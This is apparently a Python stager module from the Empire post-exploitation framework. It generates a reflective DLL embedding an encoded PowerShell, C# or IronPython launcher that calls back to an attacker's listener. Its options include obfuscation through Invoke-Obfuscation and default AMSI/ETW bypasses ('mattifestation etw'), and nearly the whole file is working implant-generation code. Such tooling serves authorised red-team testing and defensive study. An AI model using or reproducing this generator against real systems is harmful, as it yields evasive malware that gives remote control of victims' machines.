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dll.py
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dll.py
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import logging
from empire.server.core.db.base import SessionLocal
log = logging.getLogger(__name__)
class Stager:
def __init__(self, mainMenu):
self.info = {
"Name": "DLL Launcher",
"Authors": [
{
"Name": "",
"Handle": "@sixdub",
"Link": "",
}
],
"Description": "Generate a PowerPick Reflective DLL to inject with stager code.",
"Comments": [""],
}
self.options = {
"Listener": {
"Description": "Listener to generate stager for.",
"Required": True,
"Value": "",
},
"Language": {
"Description": "Language of the stager to generate.",
"Required": True,
"Value": "powershell",
"SuggestedValues": ["powershell", "ironpython", "csharp"],
"Strict": True,
},
"Arch": {
"Description": "Architecture of the .dll to generate (x64 or x86).",
"Required": True,
"Value": "x64",
"SuggestedValues": ["x64", "x86"],
"Strict": True,
},
"StagerRetries": {
"Description": "Times for the stager to retry connecting.",
"Required": False,
"Value": "0",
},
"UserAgent": {
"Description": "User-agent string to use for the staging request (default, none, or other).",
"Required": False,
"Value": "default",
},
"Proxy": {
"Description": "Proxy to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"ProxyCreds": {
"Description": r"Proxy credentials ([domain\]username:password) to use for request (default, none, or other).",
"Required": False,
"Value": "default",
},
"OutFile": {
"Description": "File to output dll to.",
"Required": True,
"Value": "/tmp/launcher.dll",
},
"Obfuscate": {
"Description": "Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.",
"Required": False,
"Value": "False",
"SuggestedValues": ["True", "False"],
"Strict": True,
},
"ObfuscateCommand": {
"Description": "The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.",
"Required": False,
"Value": r"Token\All\1",
},
"Bypasses": {
"Description": "Bypasses as a space separated list to be prepended to the launcher",
"Required": False,
"Value": "mattifestation etw",
},
}
self.mainMenu = mainMenu
def generate(self):
listener_name = self.options["Listener"]["Value"]
arch = self.options["Arch"]["Value"]
# staging options
language = self.options["Language"]["Value"]
user_agent = self.options["UserAgent"]["Value"]
proxy = self.options["Proxy"]["Value"]
proxy_creds = self.options["ProxyCreds"]["Value"]
stager_retries = self.options["StagerRetries"]["Value"]
obfuscate = self.options["Obfuscate"]["Value"]
obfuscate_command = self.options["ObfuscateCommand"]["Value"]
bypasses = self.options["Bypasses"]["Value"]
if not self.mainMenu.listenersv2.get_active_listener_by_name(
listener_name
) and not self.mainMenu.listenersv2.get_by_name(SessionLocal(), listener_name):
# not a valid listener, return nothing for the script
log.error(f"[!] Invalid listener: {listener_name}")
return ""
obfuscate_script = False
if obfuscate.lower() == "true":
obfuscate_script = True
if obfuscate_script and "launcher" in obfuscate_command.lower():
log.error(
"If using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager."
)
return ""
if language in ["csharp", "ironpython"]:
if (
self.mainMenu.listenersv2.get_active_listener_by_name(
listener_name
).info["Name"]
!= "HTTP[S]"
):
log.error(
"Only HTTP[S] listeners are supported for C# and IronPython stagers."
)
return ""
launcher = self.mainMenu.stagers.generate_exe_oneliner(
language=language,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
encode=True,
listener_name=listener_name,
)
elif language == "powershell":
# generate the PowerShell one-liner with all of the proper options set
launcher = self.mainMenu.stagers.generate_launcher(
listenerName=listener_name,
language=language,
encode=True,
obfuscate=obfuscate_script,
obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
bypasses=bypasses,
)
if launcher == "":
log.error("[!] Error in launcher generation.")
return ""
launcher_code = launcher.split(" ")[-1]
return self.mainMenu.stagers.generate_dll(launcher_code, arch)